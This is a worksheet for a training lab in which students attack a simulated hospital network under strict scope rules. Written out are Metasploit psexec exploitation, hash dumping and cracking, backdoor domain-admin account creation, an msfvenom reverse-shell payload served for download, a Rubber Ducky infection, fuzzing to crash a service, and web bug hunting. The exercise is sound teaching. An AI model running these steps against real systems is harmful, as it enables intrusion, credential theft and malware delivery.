- Be aware that the hospital network cannot access the Internet for the duration of the penetration test.

- Your actions as penetration testers may cause servers to go down or become inaccessible. If you think a host is malfunctioning, please notify a member of the management team.

- Note: You will be using several different kinds of command prompts within Kali Linux including bash, msfconsole, Meterpreter, and bash.

0. Connect your CSEC_Kali VM to the hospital network. You may *only* launch attacks from this virtual machine against:
    a. Hosts with the following IP addresses:
        i. 10.0.0.1
        ii. 10.0.0.2
        iii. 10.0.0.3
        iv. 10.0.0.4
        v. 10.0.0.5
        vi. 10.0.0.6
    b. Hosts on the floor that you have been tasked to perform a penetration test against
        i. All hosts in this category will begin with 10.0.X.Y where X is the floor you have been tasked to test and Y is a number between 1 and 5.
            1. Example: If you have been tasked with testing floor 6, you could target: 10.0.6.1, 10.0.6.2, 10.0.6.3, 10.0.6.4, 10.0.6.5
            2. Note: All OSSIM security appliances are considered out of scope.
    c. You should not access the Internet from your Kali Linux VM. You may access the Internet from your Windows computers hosts.
    d. **NOT**E: **Performing any action other than *ping* or *tracert* against an IP address other than the IP addresses specified above will be considered a violation of scope.**
        i. You may not attack the computers of other teams.
        ii. If you have accidentally targeted the wrong IP, please let a member of the management team know immediately.
        iii. Repeated or intentional violations of scope will result in team penalties and other serious consequences.
        iv. The management team will be monitoring both the connection to the Internet and connections to every host in the hospital network.

GENCYBER – WEEK 2 – CYBER OFFENSE CHALLENGE

1. Write down the IP addresses of each team member's CSEC Kali VMs. This will be used for de-conflicting targeting and diagnosing connectivity problems. Your Kali VM should have an IP of *10.0.16.X* if properly connected to the hospital network.

2. Research nmap commands by looking at the help file (help nmap). Use an nmap ping sweep to test that the hosts in scope beginning with 10.0.0.X are up and listening.

3. Use an nmap ping sweep to verify that the hosts on the floor, in scope, you have been tasked with testing are up and listening. Note: You can provide range to nmap as an argument such as *nmap 10.0.0.1-10.0.0.10*.

4. Perform a full-connect port scan using nmap against 10.0.0.2 and find out what ports are listening.

5. Perform a full-connect port scan using nmap against 10.0.0.3 and find out what ports are listening.

6. Perform a port scan against 10.0.0.3 that determines whether HTTPS traffic is permitted. Research what port HTTPS uses to perform this scan.

7. Host 10.0.0.4 is involved in managing the hospital's heart monitoring equipment and cannot handle the stress of a full-connect port scan. Perform a SYN scan against the hospital heart-beat server. A full-connect scan may result in patent deaths.

8. Test every port on the hospital file server to determine if any ports other than 21 are open.

9. Use nmap to perform a scan that will detect a host's operating system against the following computers: 10.0.0.2, 10.0.0.3, 10.0.0.5, 10.0.0.6

10. You are only permitted to perform limited tests against host 10.0.0.1. Perform a limited port scan against this host that only verifies ports 22 and 53 are open. Scanning ports other than these may cause downtime, in violation of hospital policy.

11. Perform full-connect against *only* the hosts that are in scope on the floor you have been tasked with penetration testing:

12. Use *nmap –A* to perform a service detection against the hospital file server and determine what file server application the file server is running.

13. Use netcat to manually verify the results of the service detection.

14. (3 pts) Write your own full-connect port scanner in Python that can scan ports 1 to 1000 of an IP address provided as input.

15. Research the version of the ftp server application to determine if it has any known vulnerabilities.

16. Perform a service detection against the hospital web server. Manually verify the results with netcat. Research the known vulnerabilities (known as CVEs) for this web server on CVE Details.

17. Perform open source intelligence gathering by searching for the RIT GenCyber Github. Analyze the github repository to determine if any sensitive information has been leaked to the public.

18. Use msfconsole with *exploit/windows/smb/psexec* to get a meterpreter shell on the Windows 7 computer on the hospital floor you are testing. You will need to set the domain to be *metropolis-general.*com and use an administrative username/password that you collected in instruction 17. You may need to use nmap to determine which computer on the floor you are testing has this operating system.

19. Dump all of the user hashes on the Windows 7 computer.

20. Find the user called mgmtadmin. Google the hash of this user to see if you can determine what the password is. You must find a site that shows both the hash and the plain text password to get a sign off.

21. (2 pts) Type the command *shell* to access a DOS prompt and run the following command to create a domain user for yourself:

    net user pentester A1B2c3!@ /add

    Make your user a domain administrator with the following command:

    net group Administrators pentester /add

    Modify the above command so that it adds a user to the "Remote Desktop Users" group.

    Note: You can exit a DOS shell by typing *exit* and you can pause your Meterpreter malware by typing the command *background*

22. Run the following command to open up a remote desktop connection to the Windows 7 computer you just created for yourself. Note that you will have to enter the password from the previous step.

    rdesktop –u penetester 10.0.X.2

    where X is the number of the floor you are testing.

23. In msfconsole, have one team member launch a multi/handler listener with a payload of *windows/x64/meterpreter/reverse_tcp*. The multi handler should listen on port 9001.

24. On a different computer, Use the following command to generate a meterpreter payload and place it in the /var/www/html directory. Note that this command should all appear on one line.

    msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=THEIPOFTHECOMPUTERFROMINSTRUCTION22 LPORT=9001 -f exe > malware.exe

    Start Apache on this Kali computer.

25. Connect to the hospital network using a Windows computer. Open Remote Desktop on the this computer and connect to the hospital server. Use a web browser to download the file in step 24 from the IP address used in instruction 24. Run the executable.

26. On the computer used instruction 22, run *hashdump*.

27. Find the plain text versions of three of the hashes from this hashdump.

28. Have a member of your team open a new multi/handler listening on a port of your choice.

29. Have a different member of your team generate a meterpreter payload that will connect back to the multi/handler from instruction 28. Be sure to put the meterpreter payload in your /var/www/html directory and turn Apache on if needed.

30. Develop a Rubber Ducky script that downloads the executable. Use this Rubber Ducky script to infect the instructor station. **DO NOT PLUG YOUR RUBBER DUCKY INTO ANY LAPTOPS UP FRONT.**

31. The hospital is concerned that the Windows XP hosts (10.0.X.3) are vulnerable to MS13-090 (exploit/windows/browser/ms13_090_cardspacesigninhelper). Use Metasploit to verify that the host on the floor you are testing is vulnerable to this exploit by getting a Meterpreter shell.

32. Research how to attack the file server using the file server application vulnerability you discovered in previous steps. There is a way to exploit this server using Metasploit.

33. There is a program running somewhere in the core hospital infrastructure on port 4123. Find the IP address of that computer. Be aware that this server may not always be online.

34. (3 pts) Write a Python script that produces a crash in the program running on port 4123. Find the exact number of characters it takes for the server to crash (the server will not respond and close the connection).

35. (REPEATABLE) Exploit any web application vulnerability on host 10.0.0.6 that was not discussed in class. You may use the Internet and search for tutorials. You must get sign offs from the Chief Security Officer (Rob).

36. Find an SQL injection vulnerability in the website running on 10.0.0.3

37. Find a XSS vulnerability in the website running on 10.0.0.3

38. Find a file inclusion vulnerability in the website running on 10.0.0.3

ALL HANDS ALERT